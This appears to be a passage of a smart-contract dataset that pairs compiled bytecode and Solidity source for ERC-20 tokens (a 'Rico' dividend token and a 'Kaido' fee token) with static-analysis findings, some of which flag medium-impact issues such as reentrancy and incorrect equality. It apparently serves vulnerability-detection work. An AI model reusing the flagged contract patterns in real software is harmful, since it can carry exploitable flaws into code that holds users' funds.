0fd5b815180151581146108d657600080fd5b6000825160005b818110156124de57602081860181015185830152016124c4565b818111156124ed576000828501525b50919091019291505056fea2646970667358221220a22a6d9731fe98e7396bc8f8c9b50514291e16577c041398eaf2bd17fac19cd864736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,852
0x054e39ec36ee6b4a9953a12b52178d4235ddf8d9
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function _burn(address _burner, uint256 _value) internal { require(_value <= balances[_burner]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_burner] = balances[_burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(_burner, _value); Transfer(_burner, address(0), _value); } } contract DividendPayoutToken is BurnableToken, MintableToken { // Dividends already claimed by investor mapping(address => uint256) public dividendPayments; // Total dividends claimed by all investors uint256 public totalDividendPayments; // invoke this function after each dividend payout function increaseDividendPayments(address _investor, uint256 _amount) onlyOwner public { dividendPayments[_investor] = dividendPayments[_investor].add(_amount); totalDividendPayments = totalDividendPayments.add(_amount); } //When transfer tokens decrease dividendPayments for sender and increase for receiver function transfer(address _to, uint256 _value) public returns (bool) { // balance before transfer uint256 oldBalanceFrom = balances[msg.sender]; // invoke super function with requires bool isTransferred = super.transfer(_to, _value); uint256 transferredClaims = dividendPayments[msg.sender].mul(_value).div(oldBalanceFrom); dividendPayments[msg.sender] = dividendPayments[msg.sender].sub(transferredClaims); dividendPayments[_to] = dividendPayments[_to].add(transferredClaims); return isTransferred; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { // balance before transfer uint256 oldBalanceFrom = balances[_from]; // invoke super function with requires bool isTransferred = super.transferFrom(_from, _to, _value); uint256 transferredClaims = dividendPayments[_from].mul(_value).div(oldBalanceFrom); dividendPayments[_from] = dividendPayments[_from].sub(transferredClaims); dividendPayments[_to] = dividendPayments[_to].add(transferredClaims); return isTransferred; } function burn() public { address burner = msg.sender; // balance before burning tokens uint256 oldBalance = balances[burner]; super._burn(burner, oldBalance); uint256 burnedClaims = dividendPayments[burner]; dividendPayments[burner] = dividendPayments[burner].sub(burnedClaims); totalDividendPayments = totalDividendPayments.sub(burnedClaims); SaleInterface(owner).refund(burner); } } contract RicoToken is DividendPayoutToken { string public constant name = "Rico"; string public constant symbol = "Rico"; uint8 public constant decimals = 18; } // Interface for PreSale and CrowdSale contracts with refund function contract SaleInterface { function refund(address _to) public; }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461011757806306fdde0314610146578063095ea7b3146101d6578063127eca3f1461023b57806318160ddd1461026657806323b872dd14610291578063313ce5671461031657806340c10f191461034757806344df8e70146103ac57806366188463146103c357806370a082311461042857806372fdbf251461047f5780637d64bcb4146104cc5780638da5cb5b146104fb57806395d89b4114610552578063a9059cbb146105e2578063d73dd62314610647578063dd62ed3e146106ac578063de3636cf14610723578063f2fde38b1461077a575b600080fd5b34801561012357600080fd5b5061012c6107bd565b604051808215151515815260200191505060405180910390f35b34801561015257600080fd5b5061015b6107d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019b578082015181840152602081019050610180565b50505050905090810190601f1680156101c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e257600080fd5b50610221600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610809565b604051808215151515815260200191505060405180910390f35b34801561024757600080fd5b506102506108fb565b6040518082815260200191505060405180910390f35b34801561027257600080fd5b5061027b610901565b6040518082815260200191505060405180910390f35b34801561029d57600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061090b565b604051808215151515815260200191505060405180910390f35b34801561032257600080fd5b5061032b610afc565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035357600080fd5b50610392600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b01565b604051808215151515815260200191505060405180910390f35b3480156103b857600080fd5b506103c1610ce7565b005b3480156103cf57600080fd5b5061040e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f06565b604051808215151515815260200191505060405180910390f35b34801561043457600080fd5b50610469600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611197565b6040518082815260200191505060405180910390f35b34801561048b57600080fd5b506104ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111df565b005b3480156104d857600080fd5b506104e16112ef565b604051808215151515815260200191505060405180910390f35b34801561050757600080fd5b506105106113b7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561055e57600080fd5b506105676113dd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105a757808201518184015260208101905061058c565b50505050905090810190601f1680156105d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105ee57600080fd5b5061062d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611416565b604051808215151515815260200191505060405180910390f35b34801561065357600080fd5b50610692600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611605565b604051808215151515815260200191505060405180910390f35b3480156106b857600080fd5b5061070d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611801565b6040518082815260200191505060405180910390f35b34801561072f57600080fd5b50610764600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611888565b6040518082815260200191505060405180910390f35b34801561078657600080fd5b506107bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118a0565b005b600360149054906101000a900460ff1681565b6040805190810160405280600481526020017f5269636f0000000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60055481565b6000600154905090565b6000806000806000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054925061095d8787876119f8565b91506109c3836109b587600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db290919063ffffffff16565b611ded90919063ffffffff16565b9050610a1781600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0390919063ffffffff16565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aac81600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1c90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508193505050509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b5f57600080fd5b600360149054906101000a900460ff16151515610b7b57600080fd5b610b9082600154611e1c90919063ffffffff16565b600181905550610be7826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060003392506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150610d3a8383611e3a565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610dce81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e2681600554611e0390919063ffffffff16565b600581905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fa89401a846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610ee957600080fd5b505af1158015610efd573d6000803e3d6000fd5b50505050505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611017576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ab565b61102a8382611e0390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123b57600080fd5b61128d81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1c90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112e581600554611e1c90919063ffffffff16565b6005819055505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561134d57600080fd5b600360149054906101000a900460ff1615151561136957600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f5269636f0000000000000000000000000000000000000000000000000000000081525081565b6000806000806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205492506114678686611fed565b91506114cd836114bf87600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db290919063ffffffff16565b611ded90919063ffffffff16565b905061152181600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115b681600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1c90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081935050505092915050565b600061169682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60046020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118fc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561193857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a3557600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a8257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611b0d57600080fd5b611b5e826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bf1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000806000841415611dc75760009150611de6565b8284029050828482811515611dd857fe5b04141515611de257fe5b8091505b5092915050565b60008183811515611dfa57fe5b04905092915050565b6000828211151515611e1157fe5b818303905092915050565b6000808284019050838110151515611e3057fe5b8091505092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611e8757600080fd5b611ed8816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f2f81600154611e0390919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561202a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561207757600080fd5b6120c8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061215b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820bf400e39fca9b40696697264e52bda1bf23cce496e6953f750f49cc39b325e7c0029
{"success": true, "error": null, "results": {}}
5,853
0x26F6206a38852DF99Caf9bdbb03BaE32AD1b6484
/** *Submitted for verification at Etherscan.io on 2021-11-06 */ //SPDX-License-Identifier: MIT // Telegram: t.me/kaidoofthebeasts pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Kaido is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Kaido"; string private constant _symbol = "KAIDO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), 